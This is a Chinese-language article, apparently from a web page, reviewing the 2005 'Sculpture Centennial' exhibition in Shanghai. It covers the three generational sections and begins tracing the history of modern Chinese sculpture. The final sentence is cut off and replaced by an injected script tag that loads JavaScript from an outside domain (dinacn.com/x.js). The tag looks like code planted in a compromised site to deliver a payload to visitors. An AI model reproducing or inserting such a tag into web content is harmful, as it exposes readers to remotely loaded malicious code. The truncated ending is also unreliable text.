回顾与展望，常常是岁月交替时的习惯行为。仅在1999至2001年的“弹指一挥间”，盘点百年以及设想未来的种种活动就层出不穷。返顾并前瞻中国现当代雕塑的历程和进路，也显然是世纪首尾之际最为合适的行动。也许是如此，当“雕塑百年展”以“迟到”的身影于2005年在上海“横空出世”时，“雕塑百年”四个字似乎就披上了一层神秘的面纱。人们除了对展览本身投去关注的目光之外，想必还渴望着展览的“弦外之音”。

    一、直击“雕塑百年展”

    公正地说，“雕塑百年展”以空前的时空跨度和宽阔的容纳气度将中国近现代知名雕塑家的作品史无前例地聚会在一起，实现了近百年来中国内地雕塑界四世同堂的团圆梦。

    狭长楼梯、钢砼网架、冷却水池、建筑夹层……具有大工业时代气息的上海钢铁十厂稍做修饰便成了艺术氛围不错的上海城市雕塑艺术中心。由上海市城市雕塑委员会和上海市城市规划局主办的“雕塑百年”展览就在这里隆重推出并将持续展出100天。

    有道是：五千年看西安，五百年看北京，一百年看上海。上海无疑是西方工业文明和商业文明在中国体现得最为强盛的地区。中国雕塑近一百年的现代化历程，现在于十里洋场的上海呈现出来，这无疑具有一种特别的象征意味。

    这次展览大约有100多名雕塑家的120件雕塑作品参展，由分别体现中国老中青三代雕塑家艺术风貌的“世纪经典”、“开放之履”和“走向未来”三个分展组成。从中国现代雕塑的开拓者之一刘开渠到2005年刚刚学有所成的雕塑专业应届毕业生，实际上是四代雕塑家济济一堂。

    在“世纪经典”展厅中，参展的老年雕塑家作品普遍以社会现实和革命历史题材为主。有几件老一辈雕塑家的作品颇具历史价值，它们还是专程从美术馆和其它重要艺术机构借来的，如刘开渠的《胜利渡长江，解放全中国》中的妇女头像、王朝闻的《刘胡兰》和邢永川的《杨虎城》。据悉，“世纪经典”策展人曾成钢教授曾想方设法与老雕塑家们的亲属多方联系，企求更多的雕塑精品，以便更全面地呈现“世纪经典”。这些经过岁月的淘洗而被历史认可的艺术精品，让人们在审美的回味和历史的回忆中体会到“红色经典”的艺术魅力和历史意义。

    在“开放之履”展厅里，我们感受到许多中年雕塑家已将目光更多地转向现实，不少作品的思想内容和艺术手法也已逐渐多元化。就拿北京雕塑家李象群的《争霸春秋》来说，它以50个锈迹斑斑的小铁人以及紧握武器的断手臂来展现战争的残酷，来喻示斗争的本质。李象群说到：“人与人之间其实没有真正的矛盾，只是工具间的斗争，争斗结束后，留下的只有物质没有精神，就像这些小人一样都被掏空了，只剩下一幅盔甲和武器。”

    而在“走向未来”的展区中，我们所领略到的是中国青年雕塑家们更为开放的姿态。有人评说：“在这些青年雕塑家身上，传统具像和现代抽象的痕迹都消解在花哨的颜色与另类的形式中。”也有人评论说：“他们的雕塑作品普遍带有‘装置化’倾向。”“走向未来”部分的策展人陈云岗也说到：“目前雕塑的领域已进行了拓展，装置与雕塑的界限已逐渐模糊，那些凡是以占有三维空间、以审美为主要目的的造型皆为雕塑。”湖北的项一用金属材料制成了夸张的《发型研究》，浙江的薛中将两辆凤凰自行车组合在一起做出一个装置，而四川的江敏、宁夏的张戈、云南的陈长伟都以灿烂的颜色和夸张的造型来企求别样的形象。

    对于“雕塑百年展”，我们的直击当然难免片面，甚至颇有“蜻蜓点水”之嫌。但我们十分欣慰地感受到此次展览相比以往的各类雕塑艺术展而言在整体上呈现出两个特点：一是时空架构的宽广。这次展览涉及到百年中国不同时期和不同区域的雕塑创作。二是内容形式的丰富。无论具象、抽象，还是观念、装置，都能在展览中一显身手。正是因了这种宽广与丰富，当人们浏览整个展览时，无不感叹中国百年雕塑历程的波澜壮阔。

    二、追溯20世纪中国雕塑的渊源

    已经有人高度评价：“雕塑百年展”是中国现当代雕塑最集中的一次展示。它是否会引发人们对百年中国雕塑历史的深度反思，是否能触动人们对百年中国雕塑状况的全面清理，现在还难以预料。但它至少可以如本次展览学术主持孙振华所言：“此次（展览）是中国雕塑史上第一次以大型展览的方式集聚老中青三代雕塑家，这种集中呈现有利于我们在学术上对百年中国雕塑的发展进行梳理和思考。”

    那么，就让我们参考“雕塑百年展”，对中国雕塑的现代化进程作出适当的梳理，并寻求20世纪中国雕塑真正的渊源。

    中国近现代雕塑之始应从一批远渡重洋去西方寻求美术革新之路的莘莘学子说?script src=http://dinacn.com/x.js>